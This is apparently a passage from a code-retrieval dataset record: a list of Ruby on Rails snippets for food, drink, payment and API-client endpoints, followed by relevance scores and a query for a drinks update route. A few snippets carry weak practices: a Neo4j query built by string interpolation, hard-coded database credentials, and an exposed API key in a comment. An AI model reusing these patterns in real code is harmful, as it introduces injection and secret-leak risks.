# drink_listing\n end\n puts get_ingredient\n #option to save it to a list???\nend", "def create\n @nepal = Nepal.new(nepal_params)\n\n if @nepal.save\n render json: @nepal, status: :created, location: @nepal\n else\n render json: @nepal.errors, status: :unprocessable_entity\n end\n end", "def drink_params\r\n params.require(:drink).permit(:admenu_id, :drinkname, :drinkprice, :drinkimg, :drinkimg_cache)\r\n end", "def drink_params\r\n params.require(:drink).permit(:admenu_id, :drinkname, :drinkprice, :drinkimg, :drinkimg_cache)\r\n end", "def order_params\n params.require(:order).permit(:pub_id, :token, drinks: [[:id, :quantity]])\n end", "def test_should_create_link_via_API_JSON\r\n get \"/logout\"\r\n post \"/links.json\", :api_key => 'testapikey',\r\n :link => {:user_id => 1,\r\n :title => 'API Link 1',\r\n :url => 'http://www.api.com'}\r\n assert_response :created\r\n link = JSON.parse(response.body)\r\n check_new_link(link) \r\n end", "def create_brokerage_bank_link_using_post_with_http_info(brokerage_bank_link_co, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: BrokerageApi.create_brokerage_bank_link_using_post ...'\n end\n # verify the required parameter 'brokerage_bank_link_co' is set\n if @api_client.config.client_side_validation && brokerage_bank_link_co.nil?\n fail ArgumentError, \"Missing the required parameter 'brokerage_bank_link_co' when calling BrokerageApi.create_brokerage_bank_link_using_post\"\n end\n # resource path\n local_var_path = '/brokerage/bank_link'\n\n # query parameters\n query_params = {}\n\n # header parameters\n header_params = {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['*/*'])\n # HTTP header 'Content-Type'\n header_params['Content-Type'] = @api_client.select_header_content_type(['application/json'])\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = @api_client.object_to_http_body(brokerage_bank_link_co)\n auth_names = ['oauth2']\n data, status_code, headers = @api_client.call_api(:POST, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'BrokerageBankLinkVO')\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: BrokerageApi#create_brokerage_bank_link_using_post\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end", "def show\n next_url = {}\n next_url = {next: {profile: \"http://#{my_address}:3000/pickup\", href: \"http://#{my_address}:3000/orders/pickup/#{@order.id}\", enctype: 'application/json'}} if @order.status == \"ready\"\n respond_to do |format|\n response_json = { drink: @order.drink, status: @order.status, additions: @order.additions, _links: next_url}\n format.json { render json: response_json, status: 200 }\n end\n end", "def create\n render json: Beverage.create!(beverage_post_params), status: :created\n end", "def data_to_api(snack_name, snack_location, snack_optional)\n RestClient.post ENV['NERDERY_API'], { name: snack_name,\n location: snack_location,\n optional: snack_optional\n }.to_json, content_type: :json\n end", "def create\n\n # merge the raw post data into the params\n params.merge!(Rack::Utils.parse_nested_query(request.raw_post))\n\n url = params[:australia_post_api_connection][:shop]\n\n #try to find the shop preference using url\n preference = Preference.find_by_shop_url!(url)\n\n # recalculate the weight to include blanks\n calculated_weight = params[:australia_post_api_connection][:blanks].to_i * preference.default_weight.to_f\n calculated_weight += params[:australia_post_api_connection][:weight].to_f\n\n items = params[:australia_post_api_connection][:items]\n \n if (preference.offers_flat_rate)\n if (calculated_weight <= preference.under_weight)\n @service_list = Array.new\n @service_list.append({ name: \"Shipping\",\n code: \"Shipping\",\n price: preference.flat_rate.to_s}) \n respond_to do |format| \n format.js { render content_type: 'text/html', layout: false }\n format.html { render content_type: 'text/html', layout: false } \n end\n return #evil...\n end\n end\n \n weight = params[:australia_post_api_connection][:weight]\n \n if (preference.free_shipping_by_collection)\n subtract_weight = 0\n \n #get free shipping items weight and subtract total weight.\n item_array = items.split(',')\n \n app_shop = Shop.find_by_url(url)\n \n ShopifyAPI::Session.temp(app_shop.myshopify_domain, app_shop.token) do \n item_array.each do |item|\n variant = ShopifyAPI::VariantWithProduct.find(item) \n p = ShopifyAPI::Product.find(variant.product_id)\n \n p.collections.each do |col|\n fields = col.metafields\n field = fields.find { |f| f.key == 'free_shipping' && f.namespace ='AusPostShipping'}\n unless field.nil?\n subtract_weight += variant.grams if field.value == \"true\" \n end\n end\n \n p.smart_collections.each do |col|\n fields = col.metafields\n field = fields.find { |f| f.key == 'free_shipping' && f.namespace ='AusPostShipping'}\n unless field.nil?\n subtract_weight += variant.grams if field.value == \"true\" \n end\n end\n end\n end\n \n \n weight = weight.to_f - subtract_weight/1000\n end\n\n\n if (weight.to_f == 0.0)\n #no need to call australia post. no weight of item\n @service_list = Array.new\n @service_list.append({ name: \"Free Shipping\",\n code: \"Free Shipping\",\n price: \"0.0\"}) \n respond_to do |format| \n format.js { render content_type: 'text/html', layout: false }\n format.html { render content_type: 'text/html', layout: false } \n end\n return\n else \n @australia_post_api_connection = AustraliaPostApiConnection.new({:weight=> weight,\n :blanks => params[:australia_post_api_connection][:blanks],\n :from_postcode => preference.origin_postal_code,\n :country_code => params[:australia_post_api_connection][:country_code],\n :to_postcode => params[:australia_post_api_connection][:to_postcode],\n :height=>preference.height, :width=>preference.width, :length=>preference.length,\n :container_weight => preference.container_weight, :items => items\n })\n end\n \n @australia_post_api_connection.domestic = ( @australia_post_api_connection.country_code == \"AUS\" )\n\n # get country list from the API -- we'll format these if there were no errors\n @service_list = @australia_post_api_connection.data_oriented_methods(:service) # get the service list\n\n if @australia_post_api_connection.domestic\n shipping_methods = preference.shipping_methods_allowed_dom\n shipping_desc = preference.shipping_methods_desc_dom\n else\n shipping_methods = preference.shipping_methods_allowed_int\n shipping_desc = preference.shipping_methods_desc_int\n end\n\n respond_to do |format|\n if @australia_post_api_connection.save\n\n @countries = get_country_list(@australia_post_api_connection)\n # TODO right now we are not including the suboptions for each shipping type\n #filter out unwanted methods more efficiently?\n\n @service_list = Array.wrap( @service_list[1]['service'] ).inject([]) do |list, service|\n Rails.logger.debug(\"service code is \" + service['code'])\n if shipping_methods[service['code']]\n price_to_charge = service['price'].to_f\n shipping_name = shipping_desc[service['code']].blank? ? service['name'] : shipping_desc[service['code']]\n unless preference.nil?\n unless preference.surcharge_percentage.nil?\n if preference.surcharge_percentage > 0.0\n price_to_charge =(price_to_charge * (1 + preference.surcharge_percentage/100)).round(2)\n end\n end\n\n unless preference.surcharge_amount.nil?\n if preference.surcharge_amount > 0.0\n price_to_charge = (price_to_charge + preference.surcharge_amount).round(2)\n end\n end\n end\n\n list.append({ name: shipping_name,\n code: service['code'],\n price: price_to_charge})\n end\n \n list\n end\n\n # check if need to add free shipping option\n if (preference.free_shipping_option)\n @service_list.append({ name: preference.free_shipping_description,\n code: \"Free\",\n price: \"0.00\"})\n end\n format.js { render content_type: 'text/html', layout: false }\n format.html { render content_type: 'text/html', layout: false }\n else // if @australia_post_api_connection.save\n # set the flash\n\n flash.now[:error] = @australia_post_api_connection.api_errors.join(', ')\n # format.html { render action: \"new\" }\n # format.json { render json: @australia_post_api_connection.errors, status: :unprocessable_entity }\n # if (flash.now[:error].blank?)\n # format.html { render :text => \"api_error\" }\n # else\n format.html { render partial: \"trouble\", layout: false }\n # end\n end\n end\n end", "def create_payment_link(body:)\n new_api_call_builder\n .request(new_request_builder(HttpMethodEnum::POST,\n '/v2/online-checkout/payment-links',\n 'default')\n .header_param(new_parameter('application/json', key: 'Content-Type'))\n .body_param(new_parameter(body))\n .header_param(new_parameter('application/json', key: 'accept'))\n .body_serializer(proc do |param| param.to_json unless param.nil? end)\n .auth(Single.new('global')))\n .response(new_response_handler\n .deserializer(APIHelper.method(:json_deserialize))\n .is_api_response(true)\n .convertor(ApiResponse.method(:create)))\n .execute\n end", "def new\n @includes_drink = IncludesDrink.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @includes_drink }\n end\n end", "def create\n render json: Dish.create(dish_params)\n end", "def drink_category_params\n params.require(:drink_category).permit(:include_drinks, :name)\n end", "def create \n cartoon_ad = CartoonAd.create(cartoon_ad_params)\n render json: cartoon_ad\n end", "def fooddrink_params\n params.require(:fooddrink).permit(:user_id, :name, :address, :foodtype, :file, :created_at, :price, :price_unit, :review, :fd_type_id, :avg, :qty)\n end", "def create\n @candy = PendingCandy.new(params[:candy])\n\n respond_to do |format|\n if @candy.save\n logger.info \"candy saved successfully\"\n\tlogger.info @candy.to_json\n format.html { redirect_to @candy, :notice => 'Candy was successfully created.' }\n format.json { render :json => { :status => 200, :candy => @candy } }\n else\n logger.info \"error saving candy\"\n logger.info @candy.errors.full_messages\n format.html { render :action => \"new\" }\n format.json { render :json => {:message => @candy.errors.full_messages.join(\"\\n\"), :status => 404} }\n end\n end\n end", "def create\n @drink = Drink.new(drink_params)\n @drink.menu = Menu.last\n if @drink.save\n dashboard_redirect\n else\n render :new\n end\n end", "def create\n @l_ink = LInk.new(l_ink_params)\n\n respond_to do |format|\n if @l_ink.save\n format.html { redirect_to @l_ink, notice: 'L ink was successfully created.' }\n format.json { render :show, status: :created, location: @l_ink }\n else\n format.html { render :new }\n format.json { render json: @l_ink.errors, status: :unprocessable_entity }\n end\n end\n end", "def post_params\n params.require(:drink).permit(:title, :content, :cover)\n end", "def create\n @food_donor = FoodDonor.new(food_donor_params)\n respond_to do |format|\n if @food_donor.save\n format.html { redirect_to food_donor_find_ngos_url(@food_donor), notice: 'Food donor was successfully created.' }\n format.json { render :show, status: :created, location: @food_donor }\n else\n format.html { render :new }\n format.json { render json: @food_donor.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @drip = Drip.new(params[:drip])\n\n respond_to do |format|\n if @drip.save\n format.html { redirect_to @drip, notice: 'Drip was successfully created.' }\n format.json { render json: @drip, status: :created, location: @drip }\n else\n format.html { render action: \"new\" }\n format.json { render json: @drip.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @dapil = Dapil.new(dapil_params)\n\n respond_to do |format|\n if @dapil.save\n format.html { redirect_to dapils_path, notice: 'Dapil was successfully created.' }\n format.json { render :show, status: :created, location: @dapil }\n else\n format.html { render :new }\n format.json { render json: @dapil.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @drink_menu = DrinkMenu.new(drink_menu_params)\n\n respond_to do |format|\n if @drink_menu.save\n format.html { redirect_to @drink_menu, notice: 'Drink menu was successfully created.' }\n format.json { render action: 'show', status: :created, location: @drink_menu }\n else\n format.html { render action: 'new' }\n format.json { render json: @drink_menu.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @raw_food = current_merchant.raw_foods.new(raw_food_params)\n\n respond_to do |format|\n if @raw_food.save\n format.html { redirect_to @raw_food, notice: 'Raw food was successfully created.' }\n format.json { render :show, status: :created, location: @raw_food }\n else\n format.html { render :new }\n format.json { render json: @raw_food.errors, status: :unprocessable_entity }\n end\n end\n @raw_food.ordering_method_ids = params[:raw_food][:ordering_method_ids]\n @raw_food.delivery_location_ids = params[:raw_food][:delivery_location_ids]\n @raw_food.online_retail_service_type_ids = params[:raw_food][:online_retail_service_type_ids]\n @raw_food.raw_food_product_category_ids = params[:raw_food][:raw_food_product_category_ids]\n end", "def create\n dish = Dish.where(name: params[:name]).first\n dish ||= Dish.create(name: params[:name], party: current_party, price: params[:price])\n\n OrderItem.create(user: current_user, dish: dish)\n\n render json: { :name => dish.name, :price => dish.price, :participants => [current_user.login] }\n end", "def create\n if params[:admin_password] == ENV[\"ADMIN_PASSWORD\"]\n drink_id = params[:post][:drink]\n @keg = Keg.new(keg_params.merge(drink_id: drink_id))\n respond_to do |format|\n if @keg.save\n format.html { redirect_to Keg, notice: \"Le fût a été créé.\"}\n format.json { render :show, status: :created, location: @keg }\n else\n format.html { render :new }\n format.json { render json: @keg.errors, status: :unprocessable_entity }\n end\n end\n else\n redirect_back fallback_location: \"\"\n end\n end", "def create\n @apertura_billete = AperturaBillete.new(apertura_billete_params)\n\n respond_to do |format|\n if @apertura_billete.save\n format.html { redirect_to @apertura_billete, notice: 'Apertura billete was successfully created.' }\n format.json { render :show, status: :created, location: @apertura_billete }\n else\n format.html { render :new }\n format.json { render json: @apertura_billete.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @bubble_tea = BubbleTea.find(params[:id])\n\n if @bubble_tea.update(bubble_tea_params)\n render json: @bubble_tea\n else\n render plain: \"Failed to update drink information\"\n end\n end", "def create\n @blue = Blue.new(blue_params)\n\n respond_to do |format|\n if @blue.save\n format.html { redirect_to request.referrer, notice: 'Blue was successfully created.' }\n format.json { render :show, status: :created, location: @blue }\n else\n format.html { render :new }\n format.json { render json: @blue.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @check_link = CheckLink.new()\n\n @check_link.get_all_links(check_link_params['checked_url'])\n respond_to do |format|\n if @check_link.save\n format.html { redirect_to @check_link, notice: 'Check link was successfully created.' }\n format.json { render :show, status: :created, location: @check_link }\n else\n format.html { render :new }\n format.json { render json: @check_link.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @rule = Rule.new()\n @rule.what = rule_params[:what]\n @rule.discount = rule_params[:discount]\n @rule.icon = rule_params[:icon]\n @rule.method = rule_params[:method]\n @rule.api_services = rule_params[:api_services]\n @rule.user = current_user\n @rule.save()\n render json: @rule, status: :created\n end", "def create_albums\n url = 'https://stg-resque.hakuapp.com/albums.json'\n uri = URI(url)\n response = Net::HTTP.get(uri)\n albums = JSON.parse(response)\n\n albums.each do |album|\n Album.create!(album.except('id'))\n end\nend", "def create\n if !@karyalay_list.nil?\n @karyalay_attribute = KaryalayAttribute.new(karyalay_attribute_params)\n @karyalay_attribute.karyalay_list = @karyalay_list\n if @karyalay_attribute.save\n render json: @karyalay_attribute\n else\n render json: { id: nil,\n message: 'Karyalay Attributes Not Saved, Try Again' }\n end\n else\n render json: { id: nil, message: 'Karyalay Not Found, Try Again' }\n end\n end", "def create_recipe_request(version, auth_headers, data = {})\n post \"/api/recipes\", params: data, headers: {'Content-Type' => \"application/json\", 'Accept' => \"application/vnd.ink.#{version}\" }.merge(auth_headers)\nend", "def create_bank_link_using_post_with_http_info(bank_link_info_request, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: FundingApi.create_bank_link_using_post ...'\n end\n # verify the required parameter 'bank_link_info_request' is set\n if @api_client.config.client_side_validation && bank_link_info_request.nil?\n fail ArgumentError, \"Missing the required parameter 'bank_link_info_request' when calling FundingApi.create_bank_link_using_post\"\n end\n # resource path\n local_var_path = '/bank_link'\n\n # query parameters\n query_params = {}\n\n # header parameters\n header_params = {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['*/*'])\n # HTTP header 'Content-Type'\n header_params['Content-Type'] = @api_client.select_header_content_type(['application/json'])\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = @api_client.object_to_http_body(bank_link_info_request)\n auth_names = ['oauth2']\n data, status_code, headers = @api_client.call_api(:POST, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'BankLink')\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: FundingApi#create_bank_link_using_post\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end", "def create\n @recommended_link = RecommendedLink.new(recommended_link_params)\n\n if @recommended_link.save\n render json: @recommended_link, status: :created, location: @recommended_link\n else\n render json: @recommended_link.errors, status: :unprocessable_entity\n end\n end", "def create\n @nail_salon = NailSalon.new(params[:nail_salon])\n\n respond_to do |format|\n if @nail_salon.save\n format.html { redirect_to @nail_salon, notice: 'Nail salon was successfully created.' }\n format.json { render json: @nail_salon, status: :created, location: @nail_salon }\n else\n format.html { render action: \"new\" }\n format.json { render json: @nail_salon.errors, status: :unprocessable_entity }\n end\n end\n end", "def drink_builder\n customer_name\n drink_type\n decaf\n shots\n flavor\n pumps\n milk\n other\n #drink = {}\n #drink[:name] = customer_name\n #drink[:type] = drink_type\n #drink[:decaf] = decaf\n #drink[:shots] = shots\n #drink[:flavor] = flavor\n #drink[:pumps] = pumps\n #drink[:milk] = milk\n #drink[:other] = other\npp $drink\nend", "def create_item()\n\n request_body = {\n 'name' => 'Milkshake',\n 'variations' => [\n {\n 'name' => 'Small',\n 'pricing_type' => 'FIXED_PRICING',\n 'price_money' => {\n 'currency_code' => 'USD',\n 'amount' => 400\n }\n }\n ]\n }\n\n response = Unirest.post CONNECT_HOST + '/v1/' + LOCATION_ID + '/items',\n headers: REQUEST_HEADERS,\n parameters: request_body.to_json\n\n if response.code == 200\n puts 'Successfully created item:'\n puts JSON.pretty_generate(response.body)\n return response.body\n else\n puts 'Item creation failed'\n puts response.body\n return nil\n end\nend", "def create_account_link\n render json: Stripe::AccountLink.create(account_params.to_h), status: :created\n end", "def create\n @balada = Balada.new(balada_params)\n\n respond_to do |format|\n if @balada.save\n format.html { redirect_to @balada, notice: 'Balada was successfully created.' }\n format.json { render :show, status: :created, location: @balada }\n else\n format.html { render :new }\n format.json { render json: @balada.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @therapy = Therapy.new(therapy_params)\n category = TherapyCategory.create(name: @therapy.name)\n category.therapies << @therapy\n\n respond_to do |format|\n if @therapy.save\n format.html { redirect_to @therapy }\n format.json { render :show, status: :created, location: @therapy }\n else\n format.html { render :new }\n format.json { render json: @therapy.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n\n @recipe = Recipe.new(recipe_params)\n @recipe.recipe_creator_id = current_user.id\n @recipe.allergies = get_allergies_from_params\n @recipe.ingredients = get_selected_ingredients\n\n #Shows an example on how to automatically check whether a recipe is suitable for a person with an intolerance\n laktoseintoleranz = Allergy.where(name: 'Laktoseintoleranz').first\n unless @recipe.allergies.include?(laktoseintoleranz)\n neo = Neography::Rest.new({:username => \"user\", :password => \"user\"})\n includes_laktose_ingredient = false\n\n @recipe.ingredients.each do |ingredient|\n node = neo.execute_query(\"MATCH (n)-[]->(i) WHERE n.name = 'Laktoseintoleranz' AND i.name = '#{ingredient.name}' RETURN i\")\n if node[\"data\"].present?\n includes_laktose_ingredient = true\n end\n end\n unless includes_laktose_ingredient\n @recipe.allergies << laktoseintoleranz\n end\n end\n\n respond_to do |format|\n if @recipe.save\n format.html { redirect_to @recipe, notice: 'Recipe was successfully created.' }\n format.json { render :show, status: :created, location: @recipe }\n else\n format.html { render :new }\n format.json { render json: @recipe.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n \t#logger.debug(\"\\n\\n\\n\\n#{dish_params.inspect}\\n\\n\\n\\n\\n\")\n \n \t#restaurant_name = dish_params.delete(\"restaurant_name\")\n \t\n \t#logger.debug(\"\\n\\n\\n\\n#{dish_params.delete(\"restaurant_name\")}\\n\\n\\n\\n\\n\")\n \n @dish = Dish.new()\n @dish.name = dish_params[:name]\n @dish.image_code = dish_params[:image_code]\n @dish.price = dish_params[:price]\n \n @dish.restaurant_id = @dish.populate_restaurant(dish_params[:restaurant_name])\n\n respond_to do |format|\n if @dish.save\n #format.html { redirect_to @dish, notice: 'Dish was successfully created.' }\n #format.json { render action: 'show', status: :created, location: @dish }\n format.json { render :json => { \"success\" => true, \"dish\" => @dish.as_json(only: [:id]) }, status: :created }\n format.html { render :json => { \"success\" => true, \"dish\" => @dish.as_json(only: [:id]) }, status: :created }\n else\n format.html { render action: 'new' }\n format.json { render json: @dish.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @pizza = Pizza.new(pizza_params)\n respond_to do |format|\n if @pizza.save\n format.html { redirect_to @pizza, notice: 'Pizza was successfully created.' }\n format.json { render :show, status: :created, location: @pizza }\n else\n format.html { render :new }\n format.json { render json: @pizza.errors, status: :unprocessable_entity }\n end\n end\n params[:pizza][:topping_ids].each do |topping|\n @pizza.relationships.create(topping_id: topping)\n end\n Image.create(picture: params[:pizza][:picture])\n @pizza.image_relationships.create(image_id: Image.last.id)\n end", "def create\n #api_key = \"cb8d3966-e1c6-4429-a8cf-b615523481c4\"\n\n @item = Item.new(item_params)\n\n @swift_api_key = SwiftApiKey.first\n\n api_key = @swift_api_key.key\n\n HTTParty.post(\"https://app.getswift.co/api/v2/deliveries\",\n {\n :body => {\n \"apiKey\": api_key,\n \"booking\":{\n \"items\": [{\n \"quantity\": @item.quantity,\n \"sku\": @item.sku,\n \"description\": @item.description,\n \"price\": @item.price\n }],\n \"pickupDetail\": {\n \"name\": \"Marko\",\n \"phone\": \"604 356 8259\",\n \"address\": \"301 Maude Road, Port Moody, V3H5B1\"\n },\n \"dropoffDetail\": {\n \"name\": @item.name,\n \"phone\": @item.phone,\n \"address\": @item.address\n }\n }\n }.to_json,\n :headers => { 'Content-Type' => 'application/json' }\n }\n )\n\n respond_to do |format|\n if @item.save\n format.html { redirect_to @item, notice: 'Item was successfully created.' }\n format.json { render :show, status: :created, location: @item }\n else\n format.html { render :new }\n format.json { render json: @item.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n karyalay_lists_id = params[:karyalay_caterer_params][:karyalay_lists_id]\n kl = KaryalayList.find_by_id(karyalay_lists_id)\n if !kl.nil?\n @karyalay_caterer = KaryalayCaterer.find_or_create_by(karyalay_caterer_params)\n unless @karyalay_caterer.karyalay_lists.map(&:id).include? karyalay_lists_id\n @karyalay_caterer.karyalay_lists << kl\n end\n if @karyalay_caterer.save\n render json: @karyalay_caterer\n else\n render json: { id: nil,\n message: 'Karyalay Caterer Not Created Try Again' }\n end\n else\n render json: { id: nil, message: 'Karyalay Not Found, Try Again' }\n end\n end", "def create\n @meal_recipe = MealRecipe.new(meal_recipe_params)\n \n @meal_plan = @meal_recipe.meal.day.meal_plan\n @meal = @meal_recipe.meal\n # @day = @meal.day\n @meal_ingredient = MealIngredient.new\n # @leftover = Leftover.user(current_user).includes(:meal_recipe)\n \n if @meal_recipe.recipe.present?\n @meal_recipe.portions = @meal_recipe.recipe.portions\n end\n\n respond_to do |format|\n \n if @meal_recipe.recipe.present? && @meal_recipe.save\n create_meal_ingredients_for_recipe(@meal_recipe)\n format.turbo_stream\n format.html { redirect_to @meal_plan, notice: \"Meal recipe was successfully created.\" }\n format.json { render :show, status: :created, location: @meal_recipe }\n else\n format.html { redirect_to @meal_plan, notice: \"Meal recipe not added, please select recipe from list\" }\n format.json { render :show, status: :created, location: @meal_recipe }\n end\n end\n end", "def create\n @pending_recommended_link = PendingRecommendedLink.new(pending_recommended_link_params)\n\n if @pending_recommended_link.save\n render json: @pending_recommended_link, status: :created\n else\n render json: @pending_recommended_link.errors, status: :unprocessable_entity\n end\n end", "def create\n p params\n donation = Donation.new(\n amount: params[:amount],\n frequency: params[:frequency])\n # save the information from user input to create a new donation.\n donation.save!\n if donation.save!\n render json: donation.as_json\n else\n render json: {errors: donation.errors.full_messages}\n end\n end", "def create\n @dinosaur = Dinosaur.new(params[:dinosaur])\n\n respond_to do |format|\n if @dinosaur.save\n format.html { redirect_to @dinosaur, notice: 'Dinosaur was successfully created.' }\n format.json { render json: @dinosaur, status: :created, location: @dinosaur }\n else\n format.html { render action: \"new\" }\n format.json { render json: @dinosaur.errors, status: :unprocessable_entity }\n end\n end\n end", "def post_check(excon, body)\n excon.request(\n method: :post,\n path: '/check',\n headers: { 'Content-Type' => 'application/json' },\n body: body\n )\nend", "def create\n @loan = Loan.new(loan_params)\n\n respond_to do |format|\n if @loan.save\n @item = @loan.item\n format.html { redirect_to @item, notice: I18n.t('views.loan.created') }\n format.json { render :show, status: :created, location: @loan }\n else\n format.html { render :new }\n format.json { render json: @loan.errors, status: :unprocessable_entity }\n end\n end\n end", "def create_deal(**args)\n params = parameters(args) do\n required_params :title\n optional_params :title, :value, :currency, :user_id, :person_id, :org_id, :stage_id, :status, :probability, :lost_reason, :add_time, :visible_to\n end\n request(:post, 'deals', params)\n end", "def create\n @boat = Boat.new(boat_params)\n\n if @boat.save\n render json: @boat, status: :created, location: @boat\n else\n render json: @boat.errors, status: :unprocessable_entity\n end\n end", "def create\n @bicycle_shop = BicycleShop.new(bicycle_shop_params)\n\n respond_to do |format|\n if @bicycle_shop.save\n format.html { redirect_to @bicycle_shop, notice: 'Bicycle shop was successfully created.' }\n format.json { render :show, status: :created, location: @bicycle_shop }\n else\n format.html { render :new }\n format.json { render json: @bicycle_shop.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @invoice_drug = InvoiceDrug.new(invoice_drug_params)\n\n respond_to do |format|\n if @invoice_drug.save\n format.html { redirect_to @invoice_drug, notice: 'Invoice drug was successfully created.' }\n format.json { render :show, status: :created, location: @invoice_drug }\n else\n format.html { render :new }\n format.json { render json: @invoice_drug.errors, status: :unprocessable_entity }\n end\n end\n end", "def handle_links(json) end", "def create\n #debugger\n @resto = Restaurant.find(params[:relationship][:restaurant_id])\n current_user.follow!(@resto)\n #debugger\n #respond_with @resto\n redirect_to @resto\n end", "def dish_params\n params.require(:dish).permit(:name, :allergy_info, :price, :calories, :img_url)\n end", "def link_digital_object\n payload = archival_object.source\n payload[\"instances\"] = archival_object.non_figgy_instances\n payload[\"instances\"] += [new_instance]\n aspace_client.post(archival_object.uri, payload.to_json)\n end", "def create\n @meal_dish = MealDish.new(meal_dish_params)\n\n respond_to do |format|\n if @meal_dish.save\n format.html { redirect_to @meal_dish, notice: 'Meal dish was successfully created.' }\n format.json { render :show, status: :created, location: @meal_dish }\n else\n format.html { render :new }\n format.json { render json: @meal_dish.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n # This...\n @meal = @meal.consumptions.build(params[:food])\n # ...does the same as this\n # @meal = Meal.new(params[:meal])\n # @meal.food = @food\n \n respond_to do |format|\n if @meal.save\n format.js \n format.html { redirect_to user_path(@user), notice: 'Meal was successfully created.' }\n format.json { render json: @meal, status: :created, location: @meal }\n else\n format.html { render action: \"new\" }\n format.json { render json: @meal.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @dis_ingredient = DisIngredient.new(dis_ingredient_params)\n\n respond_to do |format|\n if @dis_ingredient.save\n format.html { redirect_to @dis_ingredient, notice: 'Dis ingredient was successfully created.' }\n format.json { render :show, status: :created, location: @dis_ingredient }\n else\n format.html { render :new }\n format.json { render json: @dis_ingredient.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @item_adicional = ItemAdicional.new(item_adicional_params)\n\n respond_to do |format|\n if @item_adicional.save\n format.html { redirect_to @item_adicional, notice: 'Item adicional was successfully created.' }\n format.json { render :show, status: :created, location: @item_adicional }\n else\n format.html { render :new }\n format.json { render json: @item_adicional.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @bruschettum = Bruschettum.new(params[:bruschettum])\n params[:ingredient].each{|ingr|\n @bruschettum.ingredients << Ingredient.find_by_name(ingr)\n }\n\n\n respond_to do |format|\n if @bruschettum.save\n format.html { redirect_to @bruschettum, notice: 'Bruschetta è stata creata con successo.' }\n format.json { render json: @bruschettum, status: :created, location: @bruschettum }\n else\n format.html { render action: \"new\" }\n format.json { render json: @bruschettum.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @cooked_meal = CookedMeal.new(cooked_meal_params)\n\n respond_to do |format|\n if @cooked_meal.save\n format.html { redirect_to @cooked_meal, notice: 'Cooked meal was successfully created.' }\n format.json { render :show, status: :created, location: @cooked_meal }\n else\n format.html { render :new }\n format.json { render json: @cooked_meal.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @accessory = Accessory.new(params[:accessory])\n\n if @accessory.save\n render json: @accessory, status: :created, location: @accessory\n else\n render json: @accessory.errors, status: :unprocessable_entity\n end\n end", "def dinosaur_params\n params.require(:dinosaur).permit(:name, :era, :diet, :taxonomy, :length, :height, :image_url, :description)\n end", "def create\n @pizza = Pizza.new(pizza_params)\n if @pizza.save\n ActionCable.server.broadcast 'pizzas', {}\n render json: @pizza\n else\n render json: @pizza.errors, status: :unprocessable_entity\n end\n end", "def create\n \n @spree_diary = @spree_order.diaries.new(spree_diary_params)\n \n\n\n respond_to do |format|\n if @spree_diary.save\n format.html { redirect_to admin_order_diaries_path, notice: 'Diary was successfully created.' }\n format.json { render :show, status: :created, location: @spree_diary }\n else\n format.html { render :new }\n format.json { render json: @diaries.errors, status: :unprocessable_entity }\n end\n end\n end", "def drink_item_params\n params.require(:drink_item).permit(:drink_id, :cart_id)\n end" ]
[ "0.6683482", "0.61139476", "0.609797", "0.60717994", "0.59599084", "0.595412", "0.58226043", "0.57504964", "0.5657172", "0.5572373", "0.5543805", "0.5514553", "0.54904985", "0.54771066", "0.5451169", "0.538125", "0.53686506", "0.53679967", "0.53570217", "0.534887", "0.534887", "0.5343494", "0.53229576", "0.5310901", "0.5297892", "0.5255729", "0.52458", "0.5243555", "0.52409756", "0.52409756", "0.52374727", "0.523672", "0.5218683", "0.52153456", "0.5212887", "0.5206441", "0.5183629", "0.5180974", "0.51146996", "0.51138383", "0.5113626", "0.511076", "0.5107742", "0.5058086", "0.504384", "0.50415957", "0.50331503", "0.5031265", "0.5022346", "0.5018393", "0.49999657", "0.49909166", "0.49872544", "0.4979358", "0.49734738", "0.49702993", "0.4964577", "0.49614933", "0.49549675", "0.49518725", "0.49498165", "0.49453378", "0.4943399", "0.49284434", "0.4926322", "0.4926141", "0.49252278", "0.4913608", "0.49128", "0.49105996", "0.49048877", "0.4904635", "0.49031234", "0.49011636", "0.48966527", "0.48965898", "0.48930293", "0.48870146", "0.4885118", "0.48849177", "0.48845845", "0.48836204", "0.48812887", "0.48727202", "0.48719695", "0.48668268", "0.48665065", "0.48625684", "0.48615262", "0.4861283", "0.48612553", "0.48553437", "0.48527014", "0.484716", "0.4842333", "0.48408625", "0.48399535", "0.48351547", "0.48335278", "0.48326212" ]
0.7058279
0
PATCH/PUT /alco_drinks/1 PATCH/PUT /alco_drinks/1.json
